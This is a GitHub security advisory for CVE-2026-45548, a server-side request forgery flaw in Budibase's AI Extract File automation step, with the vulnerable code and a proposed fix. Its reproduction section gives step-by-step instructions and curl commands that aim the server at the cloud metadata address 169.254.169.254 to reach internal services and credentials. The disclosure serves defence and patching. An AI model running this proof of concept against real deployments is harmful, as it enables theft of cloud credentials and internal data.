GitHub Advisoryadvisory · npm

GHSA-rpj4-7x2v-wjrf Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation

HIGH Published 2026-05-15 Modified 2026-06-08 Official page ↗
Aliases
CVE-2026-45548
Ecosystem
npm
Packages
@budibase/server
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-918
Reviewed
2026-05-15

Affected packages

• npm @budibase/server: < 3.34.8 → fixed in 3.34.8

Description

Vulnerability Details CWE-918: Server-Side Request Forgery (SSRF) The `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. Vulnerable Code `packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139): ```typescript async function processUrlFile(fileUrl: string, ...): Promise { const response = await fetch(fileUrl) // NO blacklist check! // ... const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check! } ``` Contrast with All Other Automation Steps (Same Codebase) Every other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`: • `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})` • `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})` • `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})` • `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)` • `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})` • `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})` The `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks: • `127.0.0.0/8` (loopback) • `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private) • `169.254.0.0/16` (link-local / cloud metadata) • IPv6 private addresses The AI Extract File step bypasses all of these protections. Steps to Reproduce Via Budibase UI 1. Login as builder user 2. Create or open any app 3. Go to Automations > New Automation 4. Add trigger: App Action 5. Add step: AI > Extract File Data 6. Set Source: `URL` 7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP) 8. Click Run Test — the server makes the request without IP blacklist validation Via curl (API) ```bash 1. Login and get session cookie curl -s -c /tmp/bb.txt \ "http://BUDIBASE_HOST/api/global/auth/default/login" \ -X POST -H "Content-Type: application/json" \ -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}' 2. Create automation with SSRF payload (replace YOUR_APP_ID) curl -s -b /tmp/bb.txt \ "http://BUDIBASE_HOST/api/automations" \ -X POST -H "Content-Type: application/json" \ -H "x-budibase-app-id: YOUR_APP_ID" \ -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}' ``` Code Review Verification Compare the vulnerable function with the safe pattern used everywhere else: ``` VULNERABLE (no blacklist): packages/server/src/automations/steps/ai/extract.ts:116 const response = await fetch(fileUrl) SAFE (with blacklist) - every other step: packages/server/src/automations/steps/slack.ts:19 response = await fetchWithBlacklist(url, {...}) packages/server/src/automations/steps/discord.ts:28 response = await fetchWithBlacklist(url, {...}) ``` Expected vs Actual Behavior Expected: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()` Actual: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc. Impact An authenticated user with builder permissions can: • Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS) • Scan internal network services and ports • Access internal APIs not intended for external access • Exfiltrate data from internal services via the automation response In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise. Proposed Fix Replace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps: ```typescript import { fetchWithBlacklist } from "../utils" async function processUrlFile(fileUrl: string, ...): Promise { const response = await fetchWithBlacklist(fileUrl) // Use blacklist // ... const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist } ```

Related

Alias · CVE (1)

  • CVE-2026-45548 Budibase is an open-source low-code platform. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References